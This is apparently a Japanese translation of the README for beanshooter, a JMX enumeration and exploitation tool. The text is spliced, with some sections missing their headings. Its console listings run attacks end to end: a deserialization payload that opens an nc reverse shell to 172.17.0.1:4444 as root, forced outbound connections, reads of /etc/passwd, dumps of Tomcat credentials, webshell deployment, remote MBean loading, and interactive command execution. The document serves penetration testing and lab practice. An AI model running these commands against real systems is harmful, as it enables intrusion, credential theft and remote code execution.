beanshooter

各リリース向けに作成されたビルド済みパッケージを利用することもできます。  
開発ブランチ向けのビルド済みパッケージは自動的に作成され、*GitHub* の [アクションページ](https://github.com/qtc-de/beanshooter/actions) で入手できます。また、*beanshooter* を実行するためのビルド済みDockerイメージも [利用可能です](#docker-image)。

*beanshooter* は *ysoserial* を依存関係として含んでいません。*ysoserial* サポートを有効にするには、``ysoserial.jar`` ファイルへのパスを追加引数として指定するか（例: ``--yso /opt/ysoserial.jar``）、プロジェクトをビルドする前に [beanshooter 設定ファイル](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/config.properties) 内のデフォルトパスを変更する必要があります。

*beanshooter* は *bash* でのオートコンプリートをサポートしています。オートコンプリートを利用するには、[completion-helpers](https://github.com/qtc-de/completion-helpers) プロジェクトがインストールされている必要があります。正しくセットアップされていれば、[completion script](https://github.com/qtc-de/beanshooter/blob/HEAD/resources/bash_completion.d/beanshooter) を ``~/.bash_completion.d`` フォルダにコピーするだけでオートコンプリートが有効になります。```console
[qtc@devbox ~]$ cp resources/bash_completion.d/beanshooter ~/bash_completion.d/

### 基本操作

---

基本操作は、JMXサービスに対して実行できる汎用的な操作です。これらは通常、特定のMBeanを対象としない操作、またはbeanshooterによる組み込みサポートがないMBeanを対象とする操作です。

#### Attr

`attr`アクションは、指定された*MBean*の属性を取得または設定するために使用できます。利用可能な属性を取得するには、`info`アクションを使用する必要があります：```console
[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010
...
[+] MBean Class: sun.management.MemoryImpl
[+] ObjectName: java.lang:type=Memory
[+]
[+]     Attributes:
[+]         Verbose (type: boolean , writable: true)
[+]         ObjectPendingFinalizationCount (type: int , writable: false)
[+]         HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+]         NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+]         ObjectName (type: javax.management.ObjectName , writable: false)
[+]
[+]     Operations:
[+]         void gc()

追加の値が指定された場合、*beanshooter* は対応する属性を設定しようとします。*String* とは異なる型を持つ属性の場合、`--type` オプションを使用して属性の型を指定する必要があります。```console
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose
true

#### Deploy

`deploy` アクションは、*JMX* サービス上に *MBean* をデプロイするために使用できます。このアクションは、例えば *TonkaBean* のようなデフォルトサポートを持つ *MBean* をデプロイするために**使用すべきではありません**。デフォルトサポートを持つ *MBean* のデプロイは、対応する [MBean 操作](#mbean-operations) を通じて行う必要があります。

デプロイしたい *MBean* がすでに *JMX* サービスに認識されている場合、実装する *MBean* クラスのクラス名と希望する `ObjectName` を指定するだけで十分です。```console
[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 javax.management.monitor.StringMonitor qtc.test:type=Monitor
[+] Starting MBean deployment.
[+]
[+] 	Deplyoing MBean: StringMonitor
[+] 	MBean with object name qtc.test:type=Monitor was successfully deployed.

#### Enum

`enum`アクションは、*JMX*エンドポイント上のいくつかの設定詳細を列挙します。常に、*JMX*エンドポイントが認証を必要とするかどうか、および事前認証済みの任意のデシリアライゼーションを許可するかどうかをチェックします。```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090
[+] Checking for unauthorized access:
[+]
[+] 	- Remote MBean server requires authentication.
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] 	- Remote MBeanServer accepted the payload class.
[+] 	  Configuration Status: Non Default

`enum` アクションを *SASL* で保護されたエンドポイントに対して呼び出すと、*beanshooter* はサーバーに設定されている *SASL* プロファイルの列挙を試みます。これはある程度まで可能であり、サーバーの *TLS* 構成は列挙できません。*beanshooter* が特定した *SASL* プロファイルが機能しない場合は、`--ssl` オプションあり/なしで常に再試行してください:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4447 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] 	- Remote JMXMP server uses SASL/DIGEST-MD5 SASL profile.
[+] 	  Credentials are requried and the following hostname must be used: iinsecure.example
[+] 	  Notice: TLS setting cannot be enumerated and --ssl may be required.
[+] 	  Vulnerability Status: Non Vulnerable
...

#### Invoke

`invoke`アクションは、*JMX*エンドポイントにすでにデプロイされている*MBean*上の任意のメソッドを呼び出すために使用できます。
エンドポイントに加えて、`invoke`アクションは対象の*MBean*の`ObjectName`と呼び出したいメソッドシグネチャが必要です。
指定されたメソッドが引数を期待する場合、それらも指定する必要があります。次のリストは、`DiagnosticCommand` *MBean*の`vmVersion()`メソッドが呼び出される、引数のないメソッド呼び出しの例を示しています。```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'
OpenJDK 64-Bit Server VM version 11.0.14.1+1
JDK 11.0.14.1

より複雑な引数型で初期化が必要な場合、*beanshooters PluginSystem* を使用して、[IArgumentProvider Interface](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java) を実装するカスタムクラスを定義できます。


#### Jolokia

*beanshooters* の [Jolokia ドキュメント](https://github.com/qtc-de/beanshooter/blob/HEAD/docs/jolokia.md) で概説されているように、ほぼすべての *beanshooter* アクションは `--jolokia` スイッチと共に使用して、*Jolokia* ベースの *JMX* エンドポイントをターゲットにできます。この *Jolokia JMX* アダプタに対する汎用サポートに加えて、*beanshooter* は専用の `jolokia` アクションを1つサポートしています。このアクションは、プロキシモードが有効な状態で動作している *Jolokia* エージェントのアウトバウンド接続を強制するために使用できます。```console
[qtc@devbox ~]$ beanshooter jolokia 172.17.0.2 8080 172.17.0.1 4444 --username manager --password admin --ldap
[+] Attempting to trigger outboud connection to 172.17.0.1:4444
[+] Using proxy service URL: service:jmx:Rmi:///jndi/ldap://172.17.0.1:4444/beanshooter
...

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:60052.
0

#### Model

`model`アクションは、*beanshooter*の最も強力な操作の1つであり、[Markus Wulftange](https://twitter.com/mwulftange)氏によって特定された技術を実装しています。これにより、任意の*public*かつ*static*なJavaメソッドを呼び出すことができます。さらに、ユーザーが作成したオブジェクトインスタンスに対して*public*なオブジェクトメソッドも呼び出すことができます。唯一の要件は、使用するメソッド引数と提供されるオブジェクトインスタンス（*非 static*メソッドの場合）がシリアライズ可能であることです。

以下のリストは使用例を示しており、`File`オブジェクトがオブジェクトインスタンスとして提供され、その上で`String[] list()`操作が呼び出されています。```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
[+] Deploying RequiredModelMBean supporting methods from java.io.File
[+]
[+] 	Deplyoing MBean: RequiredModelMBean
[+] 	MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] 	Available Methods:
[+] 	  - java.lang.String toString()
[+] 	  - int hashCode()
[+] 	  - [Ljava.lang.String; list()
[...]
[+] 	  - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] 	Setting managed resource to: new java.io.File("/")
[+] 	Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
root
var
opt
srv
bin
mnt
dev
proc
etc
usr
lib
tmp
home
run
media
sbin
sys
.dockerenv

*static* メソッドを呼び出す場合、オブジェクトインスタンスも必要です。ただし、オブジェクトインスタンスの実際のクラスは重要ではありません。例えば、`java.lang.System` から `getProperties()` を呼び出したい場合、単純な `String` をオブジェクトインスタンスとして使用することもできます。この場合、指定されたクラス名のみが重要です：```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.lang.System '"does not matter"'
[+] Deploying RequiredModelMBean supporting methods from java.lang.System
[+]
[+] 	Deplyoing MBean: RequiredModelMBean
[+] 	MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] 	Available Methods:
[+] 	  - void runFinalization()
[+] 	  - java.lang.String setProperty(java.lang.String, java.lang.String)
[+] 	  - java.lang.String getProperty(java.lang.String)
[+] 	  - java.lang.String getProperty(java.lang.String, java.lang.String)
[+] 	  - long currentTimeMillis()
[+] 	  - long nanoTime()
[+] 	  - java.lang.SecurityManager getSecurityManager()
[+] 	  - void loadLibrary(java.lang.String)
[+] 	  - java.lang.String mapLibraryName(java.lang.String)
[+] 	  - void load(java.lang.String)
[+] 	  - java.lang.String lineSeparator()
[+] 	  - java.io.Console console()
[+] 	  - java.nio.channels.Channel inheritedChannel()
[+] 	  - java.util.Properties getProperties()
[+] 	  - void setProperties(java.util.Properties)
[+] 	  - java.lang.String clearProperty(java.lang.String)
[+] 	  - java.util.Map getenv()
[+] 	  - java.lang.String getenv(java.lang.String)
[+] 	  - void gc()
[+] 	  - void wait()
[+] 	  - java.lang.String toString()
[+] 	  - int hashCode()
[+] 	  - java.lang.Class getClass()
[+] 	  - void notify()
[+] 	  - void notifyAll()
[+] 	  - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] 	Setting managed resource to: "does not matter"
[+] 	Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'getProperties()'
java.vm.info
  --> mixed mode
java.runtime.version
  --> 11.0.18+10-alpine-r0
sun.io.unicode.encoding
  --> UnicodeLittle
...

`model` アクションで実装されている手法について詳しく知りたい場合は、[CODE WHITE](https://twitter.com/codewhitesec) によるこの[ブログ記事](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)を強くお勧めします。この記事では詳細に説明されています。

#### Serial

`serial` アクションは、*JMX* エンドポイントに対するデシリアライゼーション攻撃を実行するために使用できます。デフォルトでは、このアクションは認証後のデシリアライゼーション攻撃を試みます。これが機能するためには、対象の *JMX* サービスが認証なしのアクセスを許可しているか、有効な認証情報が必要です。```console
[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+] 	Creating ysoserial payload... done.
[+] 	MBeanServer attempted to deserialize the DeserializationCanary class.
[+] 	Deserialization attack was probably successful.

[qtc@devbox ~]$ nc -vlp 4444
[...]
id
uid=0(root) gid=0(root) groups=0(root)

Against *JMXMP* エンドポイントに対しては、通常、事前認証なしのデシリアライゼーションが可能です。残念ながら、`enum` アクション中にこれを適切に列挙する方法はありません。*JMXMP* エンドポイントに遭遇した場合は、試してみることをお勧めします。

#### Stager

`stager` アクションは、*MBeans* を配信するために使用できるステージャサーバを起動します。*MBean* 配信のためのステージャサーバの作成は、通常、*beanshooters* の `deploy` アクションを使用する際に自動的に行われます。ただし、スタンドアロンサーバが必要になる場合もあります。`stager` アクションを使用する場合、配信する組み込み *MBean* の名前（例：`tonka`）を指定するか、`custom` キーワードを指定できます。`custom` が指定された場合、`--class-name`、`--object-name`、`--jar-file` オプションが必要です。```console
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8888 --no-stager
[qtc@devbox ~]$ beanshooter stager 172.17.0.1 8888 tonka
[+] Creating HTTP server on: 172.17.0.1:8888
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /93691b8bae4143f087f7a3123641b20d
[+] Starting HTTP server.
[+] 
[+] Press Enter to stop listening.
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] 	Class:     de.qtc.beanshooter.tonkabean.TonkaBean
[+] 	Archive:   93691b8bae4143f087f7a3123641b20d
[+] 	Object:    MLetTonkaBean:name=TonkaBean,id=1
[+] 	Codebase:  http://172.17.0.1:8888
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /93691b8bae4143f087f7a3123641b20d
[+] Sending jar file with md5sum: 6568ffb2934cb978dbd141848b8b128a

`standard` アクションによるコマンド実行はブラインドであり、コマンドの出力を受け取ることはできません。  
さらに、デフォルトではコマンドは `Runtime.exec(String str)` に渡されるため、特別なシェル機能はサポートされません。シェル機能を利用したい場合は、`--exec-array` オプションを使用して、次のようにコマンドを指定してください: `'sh -c echo "my cool command" > /tmp/test.txt'`。`--exec-array` を使用すると、*beanshooter* は指定されたコマンドを3つの部分に分割し、`Runtime.exec(String[] arr)` に渡します。ただし、一般的にはコマンド実行には *TonkaBean* デプロイメントを使用することをお勧めします:```console
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] 	Deplyoing MBean: StandardMBean
[+] 	MBean with object name de.qtc.beanshooter:standard=4121868972140 was successfully deployed.
[+]
[+] 	Caught NullPointerException while invoking the newTransformer action.
[+] 	This is expected bahavior and the attack most likely worked :)
[+]
[+] 	Removing MBean with ObjectName de.qtc.beanshooter:standard=4121868972140 from the MBeanServer.
[+] 	MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)

`standard` アクションによって実装されているテクニックについてさらに詳しく知りたい場合は、この [ブログ記事](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html)（[CODE WHITE](https://twitter.com/codewhitesec) 著）を強くお勧めします。この記事では詳細に説明されています。

#### Undeploy

`undeploy` アクションは、指定された `ObjectName` を持つ *MBean* を *JMX* サービスから削除します。```console
[qtc@devbox ~]$ beanshooter undeploy 172.17.0.2 9010 qtc.test:type=Example 
[+] Removing MBean with ObjectName qtc.test:type=Example from the MBeanServer.
[+] MBean was successfully removed.

load                 load a new MBean from the specified URL
attr                 set or get MBean attributes
deploy               deploys the specified MBean on the JMX server
info                 print server information about the MBean
invoke               invoke the specified method on the MBean
stats                print local information about the MBean
status               checks whether the MBean is registered
undeploy             undeploys the specified MBEAN from the JMX server

### 汎用MBean操作

---

各*MBean*に対して利用可能な*beanshooter*操作の一部をこのセクションで紹介します。
これらの汎用*MBean*操作は、多くの場合、[基本操作](#basic-operations)の機能を反映していますが、*ObjectName*を指定する必要がありません。

#### 汎用Attr

`attr`アクションは、基本操作の`attr`アクションと同じように動作します。ただし、*ObjectName*は指定された*MBean*に含まれているため、指定する必要がなくなります。```console
[qtc@devbox ~]$ beanshooter tomcat attr 172.17.0.2 1090 users
Users:type=User,username="manager",database=UserDatabase
Users:type=User,username="admin",database=UserDatabase
Users:type=User,username="status",database=UserDatabase

*beanshooter v4.1.0* 以降、[standard](#standard) アクションを介して *TonkaBean* をデプロイすることも可能です。
`standard` アクションによる Bean のデプロイは、ターゲットサーバーからのアウトバウンドネットワーク接続を**必要としません**。

#### 汎用エクスポート

*beanshooters* のステージャーサーバーを使用して *MBean* 実装を提供できない場合があります。よくあるシナリオとして、ローカルマシンへのアウトバウンド接続がブロックされている場合が挙げられます。このような状況では、内部ネットワーク内の書き込みアクセス権がある *SMB* サービスなど、別の場所から *MBean* をロードしたい場合があります。

`export` アクションは、指定された *MBean* を実装する *jar* ファイルと、*MLet* を使用して *MBean* をロードするために必要な対応する *MLet HTML* ドキュメントをエクスポートします。*TonkaBean* を `10.10.10.5` で待ち受けている *SMB* サービスから提供したい場合、以下のコマンドを使用できます:```console
[qtc@devbox ~]$ beanshooter tonka export --export-dir export --stager-url file:////10.10.10.5/share/
[+] Exporting MBean jar file: export/tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: export/index.html
[+] 	Class:     de.qtc.beanshooter.tonkabean.TonkaBean
[+] 	Archive:   tonka-bean-3.0.0-jar-with-dependencies.jar
[+] 	Object:    MLetTonkaBean:name=TonkaBean,id=1
[+] 	Codebase:  file:////10.10.10.5/share/

#### 汎用 Invoke

`invoke` アクションは、指定された *MBean* 上の任意のメソッドを呼び出すために使用できます。```console
[qtc@devbox ~]$ beanshooter tomcat invoke 172.17.0.2 1090 --signature 'findUser(String username)' admin
Users:type=User,username="admin",database=UserDatabase

The `Jar File` 情報は、対応する *MBean* の実装が *beanshooter* に組み込まれているかどうかを示します。この jar ファイルは、`--jar-file` オプションで上書きされない限り、デプロイ時に使用されます。現在のところ、*TonkaBean* は *Jar File* が利用可能な唯一の *MBean* です。

#### Generic Status

`status` アクションは、対応する *MBean* が *JMX* サービス上ですでに利用可能かどうかをチェックします。```console
[qtc@devbox ~]$ beanshooter tonka status 172.17.0.2 9010
[+] MBean Status: not deployed

### 診断機能

---

*DiagnosticCommandMBean*は、便利な*MBean*であり、*JMXサーバー*にデフォルトで展開されていることがよくあります。
攻撃的な観点から興味深い、いくつかの異なるメソッドを実装しています。その一部は
*beanshooter*の操作として実装されています。その他はもちろん手動で呼び出すことができます。

#### 診断読み取り

`read`操作は、*MBean*サーバー上のテキストファイルを読み取るために使用できます。この操作は、
`addCompilerDirective`メソッドを使用して、指定されたテキストファイルの内容を含む例外を発生させます。```console
[qtc@devbox ~]$ beanshooter diagnostic read 172.17.0.2 1090 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

#### 診断ログファイル

`logfile`アクションを使用して、*JVM*のログファイルの場所を変更できます。```console
[qtc@devbox ~]$ beanshooter diagnostic logfile 172.17.0.2 1090 /tmp/test.log
[+] Logfile path was successfully set to /tmp/test.log

#### 診断 Cmdline

`cmdline`アクションは、*JVM*が起動されたときのcmdlineを表示します:```console
[qtc@devbox ~]$ beanshooter diagnostic cmdline 172.17.0.2 1090
VM Arguments:
jvm_args: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp -Djava.rmi.server.hostname=iinsecure.example -Djavax.net.ssl.keyStorePassword=password -Djavax.net.ssl.keyStore=/opt/store.p12 -Djavax.net.ssl.keyStoreType=pkcs12 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.local.only=false -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.port=1090 -Dcom.sun.management.jmxremote.rmi.port=1099
java_command: org.apache.catalina.startup.Bootstrap start
java_class_path (initial): /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
Launcher Type: SUN_STANDARD

### HotSpot

---

*HotSpotDiagnosticMXBean* は、*HotSpot Virtual Machine* を管理するためのインターフェースを提供し、
攻撃的な観点から有用なメソッドをいくつかサポートしています。

#### HotSpot dump

`dump` アクションはヒープダンプを作成し、アプリケーションサーバー上の任意の場所に保存します。
唯一の要件は、ダンプが `.hprof` 拡張子を持つファイルとして保存されることです：```console
[qtc@devbox ~]$ beanshooter hotspot dump 172.17.0.2 1090 /tmp/dump.hprof
[+] Heapdump file /tmp/dump.hprof was created successfully.

#### HotSpot get

`get` アクションを使用すると、指定したオプションの値を取得できます:```console
[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC
[+] Name: HeapDumpBeforeFullGC
[+] Value: false
[+] Writable: true

### MLet

---

*MLetMBean* は、ネットワーク経由で追加の *MBean* をロードするために使用できる、よく知られた *MBean* です。これは *beanshooters* の `deploy` アクションによって暗黙的に使用されていますが、`mlet` 操作を使用して手動で呼び出すこともできます。

#### MLet Load

現在唯一実装されている *MLet* メソッドは、ユーザーが指定した *URL* から *MBean* クラスをロードするために使用できる `load` 操作です:```console
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] 	Deplyoing MBean: MLet
[+] 	MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] 	Creating HTTP server on: 172.17.0.1:8000
[+] 		Creating MLetHandler for endpoint: /
[+] 		Creating JarHandler for endpoint: /3584de270132420aaf0812366bc46035
[+] 		Starting HTTP server... 
[+] 		
[+] 	Incoming request from: iinsecure.example
[+] 	Requested resource: /
[+] 	Sending mlet:
[+]
[+] 		Class:     de.qtc.beanshooter.tonkabean.TonkaBean
[+] 		Archive:   3584de270132420aaf0812366bc46035
[+] 		Object:    MLetTonkaBean:name=TonkaBean,id=1
[+] 		Codebase:  http://172.17.0.1:8000
[+]
[+] 	Incoming request from: iinsecure.example
[+] 	Requested resource: /3584de270132420aaf0812366bc46035
[+] 	Sending jar file with md5sum: b2f7040f7d8f2d1f40b205d631ff7356
[+]
[+] MBean was loaded successfully.

### Recoder

---

*FlightRecorderMXBean* は、*Flight Recorder* を管理するためのインターフェースを提供し、攻撃的な観点から興味深いメソッドをいくつかサポートしています。

#### Recoder new

`new` 操作は、新しい記録を開始します。返された記録 ID は、他の操作のターゲットとして使用できます。```console
[qtc@devbox ~]$ beanshooter recorder new 172.17.0.2 1090
[+] Requesting new recording on the MBeanServer.
[+] New recording created successfully with ID: 1

#### Recoder dump

レコーディングがアクティブな間、その内容は `dump` アクションを使用してダンプできます。これにより、レコーディング情報が *JMX サーバー* 上のダンプファイルに保存されます。```console
[qtc@devbox ~]$ beanshooter recorder dump 172.17.0.2 1090 1 /tmp/dump.dat
[+] Recording with ID 1 was successfully dumped to /tmp/dump.dat

#### レコーダーの保存

記録が停止された後、`save`アクションを使用して保存できます。`dump`アクションとは対照的に、
これにより、アプリケーションサーバーではなくローカルマシンに記録が保存されます。```console
[qtc@devbox ~]$ beanshooter recorder save 172.17.0.2 1090 1 recording.dat
[+] Saving recording with ID: 1
[+] Writing recording data to: /home/qtc/recording.dat

2つの引数で呼び出された場合、ユーザー名は最初に指定された場所に保存され、パスワードは2番目の場所に保存されます。```console
[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 users.txt passwords.txt
[+] Dumping credentials...
[+] Users dumped to /home/qtc/users.txt
[+] Passwords dumped to /home/qtc/passwords.txt

#### Tomcat Write

`write`操作は、部分的に制御されたファイルをアプリケーションサーバーの任意の場所に書き込みます。このアクションは、*Tomcat*サービスにウェブシェルを確実にデプロイするために使用できます：```console
[qtc@devbox ~]$ beanshooter tomcat write 172.17.0.2 1090 /opt/webshell-cli/webshells/webshell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Writing local file /opt/webshell-cli/webshells/webshell.jsp to server location /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] 	Current user database is at conf/tomcat-users.xml
[+] 	Current user database is readonly
[+] 	Adjusting readonly property to make it writable.
[+] 	Changing database path to /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] 	Creating new role containing the local file content.
[+] 	Saving modified user database.
[+] 	Restoring readonly property.
[+] 	Restoring pathname property.
[+] All done.
[qtc@devbox ~]$ webshell-cli http://172.17.0.2:8080/shell.jsp
[root@d475fdb21692 /usr/local/tomcat]$ id
uid=0(root) gid=0(root) groups=0(root)

exec 操作の最後の引数は文字列であることが期待されます。`--shell` オプションが使用されていない場合、
この文字列はスペースで分割され（引用符を認識）、サーバー側の `ProcessBuilder` クラスに配列として渡されます。

`--shell` が使用された場合、指定されたシェル文字列はスペースで分割され、結果の配列は
指定された引数文字列と結合されてから `ProcessBuilder` クラスに渡されます。これにより、
シェル特殊文字が正しく解釈されたシェル的な実行が可能になります。```console
[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 --shell 'ash -c' 'echo $HOSTNAME'
[+] Invoking the executeCommand method with argument: ash -c echo $HOSTNAME
[+] The call was successful
[+]
[+] Server response:
fee2d783023b

#### Tonka Shell

`shell` アクションは、*JMX* サーバー上で実行するコマンドを指定できるコマンドシェルを起動します。このシェルは完全な対話型ではなく、*Java* の `Runtime.exec` メソッドをラップしたものに過ぎません。ただし、環境変数とカレントワーキングディレクトリに対する基本的なサポートが実装されています。```console
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)
[[email protected] /]$ cd /home
[[email protected] /home]$ !env test=example
[[email protected] /home]$ echo $test
example

#### Tonka アップロード

`upload` アクションは、*JMX* サーバーにファイルをアップロードするために使用できます：```console
[qtc@devbox ~]$ beanshooter tonka upload 172.17.0.2 9010 file.dat /tmp
[+] Uploading local file /home/qtc/file.dat to path /tmp on the MBeanSerer.
[+] 33 bytes were written to /tmp/file.dat

### JMXMP

---

*JMX* サービスは異なるコネクタタイプを使用できます。最も一般的に使用されるコネクタは *Java RMI* であり、*Java RMI* プロトコルに基づいて *JMX* へのアクセスを提供します。もう一つの一般的なコネクタは *JMX Message Protocol* (*JMXMP*) であり、これは時代遅れであるにもかかわらず、依然として頻繁に遭遇します。*beanshooter* は組み込みの *JMXMP* サポートを備えており、`--jmxmp` オプションを使用する際に *JMXMP* 経由での接続を試みます:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4444 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] 	- Remote JMXMP server does not use SASL.
[+] 	  Login is possible without specifying credentials.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] 	- JMXMP serial check is work in progress but endpoints are usually vulnerable.
[+] 	  Configuration Status: Undecided
[+]
[+] Checking available MBeans:
[+]
[+] 	- 22 MBeans are currently registred on the MBean server.
[+] 	  Found 0 non default MBeans.

### Jolokia サポート

---

*v4.0.0* から、*beanshooter* は [Jolokia](https://github.com/rhuss/jolokia) ベースの JMX エンドポイントをサポートしています。
*Jolokia* ベースのエンドポイントへの接続を確立するには、通常のターゲット形式と `--jolokia` フラグが必要です:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 8080 --jolokia --username manager --password admin
[+] Checking specified credentials:
[+]
[+] 	- Login successful! The specified credentials are correct.
[+] 	  Username: manager  - Password: admin
[+]
[+] Checking Jolokia Version:
[+]
[+] 	- Agent Version 1.7.1 - Protocol Version: 7.2
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] Checking whether Jolokia Proxy Mode is enabled:
[+]
[+] 	- Jolokia Proxy Mode is enabled! You may connect to backend JMX services.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] 	- 75 MBeans are currently registred on the MBean server.
[+] 	  Listing 56 non default MBeans:
...

### サンプルサーバー

---

![](https://github.com/qtc-de/beanshooter/workflows/example%20server%20-%20master/badge.svg?branch=master)
![](https://github.com/qtc-de/beanshooter/workflows/example%20server%20-%20develop/badge.svg?branch=develop)

上記で紹介したサンプルのほとんどは、[jmx-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Fjmx-example-server) および [tomcat-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Ftomcat-example-server) に基づいています。これらのサーバーは、このリポジトリ内の [docker](https://github.com/qtc-de/beanshooter/blob/HEAD/docker) フォルダに含まれており、*JMX* の列挙を練習するために使用できます。対応するコンテナを自分でビルドするか、*GitHub Container Registry* から直接ロードすることができます。

Copyright 2023, Tobias Neitzel および *beanshooter* コントリビューター。